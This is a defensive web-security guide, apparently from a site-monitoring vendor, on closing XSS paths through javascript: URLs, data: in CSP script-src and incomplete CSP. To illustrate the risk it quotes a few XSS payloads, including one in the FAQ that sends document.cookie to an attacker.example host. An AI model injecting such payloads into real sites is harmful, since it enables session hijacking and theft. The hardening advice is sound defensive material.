How to fix XSS attack vectors like javascript: URLs and data: script sources?

xss-attack-vectors-presentglobal

Three XSS vectors remain after addressing inline scripts, event handlers, and CSP unsafe-inline/unsafe-eval: javascript: URL protocol handlers, data: URIs in CSP script-src, and insufficient overall XSS protection. Each creates an execution path that standard CSP directives do not automatically block. javascript: URLs execute code through navigation and attribute contexts. data: URIs in script-src allow inline payloads encoded as base64 script sources. Together with gaps in CSP coverage, these vectors leave sites exposed even when common protections appear to be in place.

What’s wrong

The site has one or more of three conditions. First, HTML contains javascript: URL protocol handlers in href, action, formaction, or other attributes that accept URLs. These execute JavaScript when the link is followed or the form submitted. Second, the Content Security Policy script-src directive includes data: as a permitted source. This allows scripts loaded from data: URIs to execute, bypassing origin restrictions entirely. Third, the site lacks sufficient XSS protection overall. CSP may be absent, misconfigured, or missing critical directives. Each condition creates a distinct execution path for injected code.

Why it matters

javascript: URLs are a persistent XSS vector because they execute in the navigation context, not the script context. An attacker who controls an href value can inject javascript:alert(document.cookie) and execute code when a user clicks the link. CSP script-src does not govern navigation targets by default. The defense requires explicit CSP configuration or attribute-level controls that many deployments omit. data: URIs in script-src provide a different bypass. A policy like script-src ‘self’ data: appears restrictive but allows any script loaded via data:text/javascript;base64,… to execute. The payload is self-contained. No external server is required. Attackers encode entire exploit scripts as base64 data URIs. Insufficient overall XSS protection means the site relies on partial measures. Output encoding may exist in some paths but not all. CSP may cover script-src but omit object-src or base-uri. The attack surface is the union of all unprotected execution paths, not just the ones explicitly addressed.

The correct change

For javascript: URLs, audit all attributes that accept URL values. Reject any value starting with javascript: in application code. Sanitize user-controlled URLs to allow only http:, https:, and application-specific protocols. Add a Content-Security-Policy header that restricts navigation sources if the browser supports it. Remove any hardcoded javascript:void(0) patterns and replace them with button elements or event.preventDefault() calls. For data: URIs in script-src, remove data: from the CSP script-src directive. If data: URIs are needed for images or fonts, restrict them to img-src or font-src where they present lower risk. Never include data: in script-src, object-src, or worker-src. For overall XSS protection, implement CSP with at minimum script-src, object-src, and base-uri restrictions. Set object-src to ‘none’. Set base-uri to ‘self’. Ensure default-src does not fall back to permissive values. Combine CSP with consistent output encoding and input validation at system boundaries.

Scope

This condition applies globally. javascript: URLs can appear in any HTML attribute that accepts a URL, across any page or template. data: in script-src is set at the policy level and affects all pages governed by that CSP header. Insufficient XSS protection is a site-wide architectural concern. Resolution requires changes to CSP headers, HTML generation, URL handling, and input processing. Individual page fixes do not address the systemic exposure.

How to verify

  • Validation confirms the condition is resolved:
  • • No href, action, formaction, or src attributes contain javascript: protocol
  • • No hardcoded javascript:void(0) patterns in HTML
  • • CSP script-src does not include data: as a permitted source
  • • CSP object-src is set to ‘none’
  • • CSP base-uri is set to ‘self’ or restricted
  • • User-controlled URL values are sanitized to allow only safe protocols
  • • Browser console shows no CSP violations when testing with injection payloads
  • • Automated scanning confirms no javascript: or data: XSS paths

Takeaway

  • javascript: URLs execute code through navigation context, bypassing script-src CSP controls
  • data: URIs in script-src allow self-contained exploit payloads without external servers
  • CSP must explicitly restrict these vectors; default configurations do not block them
  • Replacing javascript:void(0) with proper event handling eliminates a common legacy pattern
  • Comprehensive XSS protection requires CSP, output encoding, and URL sanitization working together

FAQ

Why doesn’t CSP script-src block javascript: URLs automatically?

CSP script-src governs script elements and their sources. javascript: URLs execute through the navigation system, not the script loading system. The browser processes them as URL navigations that happen to contain code. CSP can restrict javascript: URLs through the navigate-to directive in newer specifications, but support is limited. Some browsers block javascript: URLs when CSP is present, but this behavior is inconsistent. Explicit URL sanitization in application code is more reliable than depending on CSP for this vector.

How does data: in script-src differ from data: in img-src?

data: in img-src allows inline images encoded as base64. These cannot execute JavaScript. data: in script-src allows inline JavaScript encoded as base64 to execute as a script source. The browser treats data:text/javascript;base64,… the same as loading a script from an external URL. The entire payload is embedded in the URI. This distinction makes data: safe for images and fonts but dangerous for scripts, objects, and workers.

Is javascript:void(0) in href attributes a real security risk?

javascript:void(0) itself does not execute harmful code. The risk is the pattern it establishes. If the application accepts javascript: protocol in href attributes, it cannot distinguish between javascript:void(0) and javascript:document.location=‘https://attacker.example/?c='+document.cookie. Allowing any javascript: URL requires evaluating every instance. Banning the protocol entirely is simpler and eliminates the class of vulnerability. Replace javascript:void(0) with button elements or href=’#’ with event.preventDefault().

What CSP directives address these vectors specifically?

script-src without data: or unsafe-inline prevents data: URI script execution. object-src ‘none’ blocks Flash and plugin-based XSS vectors. base-uri ‘self’ prevents base tag injection that redirects relative URLs. form-action restricts form submission targets. navigate-to would restrict javascript: URL navigation but has limited browser support. A strict policy combining these directives covers the vectors described here. Each directive closes a specific execution path.

Can input validation alone prevent these XSS vectors?

Input validation reduces risk but cannot eliminate it. URL validation must reject javascript: and data: protocols on every input path. A single missed path creates an exploit. Output encoding prevents injection into HTML context but may not prevent injection into URL attributes where the protocol itself is the attack. CSP provides defense in depth by blocking execution even when validation and encoding fail. Relying on input validation alone requires perfection across every code path. CSP does not require perfection.

How do these vectors interact with the existing inline scripts and unsafe-inline issues?

These vectors are independent of inline scripts and unsafe-inline. A site can remove all inline scripts, eliminate unsafe-inline, and still be vulnerable to javascript: URLs in href attributes and data: URIs in script-src. Each vector operates through a different execution mechanism. Inline scripts execute in the parsing context. unsafe-inline permits them via CSP. javascript: URLs execute through navigation. data: URIs load as external script sources that happen to be self-contained. Comprehensive protection requires addressing each vector separately.

The fix

Eliminate javascript: URL handlers, data: script sources, and close remaining XSS execution paths

Done when: No javascript: protocol in URL attributes, no data: in CSP script-src, and comprehensive CSP with object-src and base-uri restrictions enforced

Do not

  • Do not allow javascript: protocol in any URL attribute even for benign uses like void(0)
  • Do not include data: in CSP script-src, object-src, or worker-src directives
  • Do not rely on CSP alone without output encoding and URL sanitization
  • Do not assume removing inline scripts addresses javascript: URL or data: URI vectors

How to verify

  • No javascript: protocol in href, action, formaction, or src attributes
  • CSP script-src does not include data:
  • CSP object-src set to ‘none’
  • CSP base-uri set to ‘self’
  • User-controlled URLs sanitized to safe protocols only
  • Injection testing confirms no javascript: or data: execution paths

Find every page with this

probeo monitors this continuously across every page of your site, and records which pages passed, which failed, and which it could not determine.

Book a Call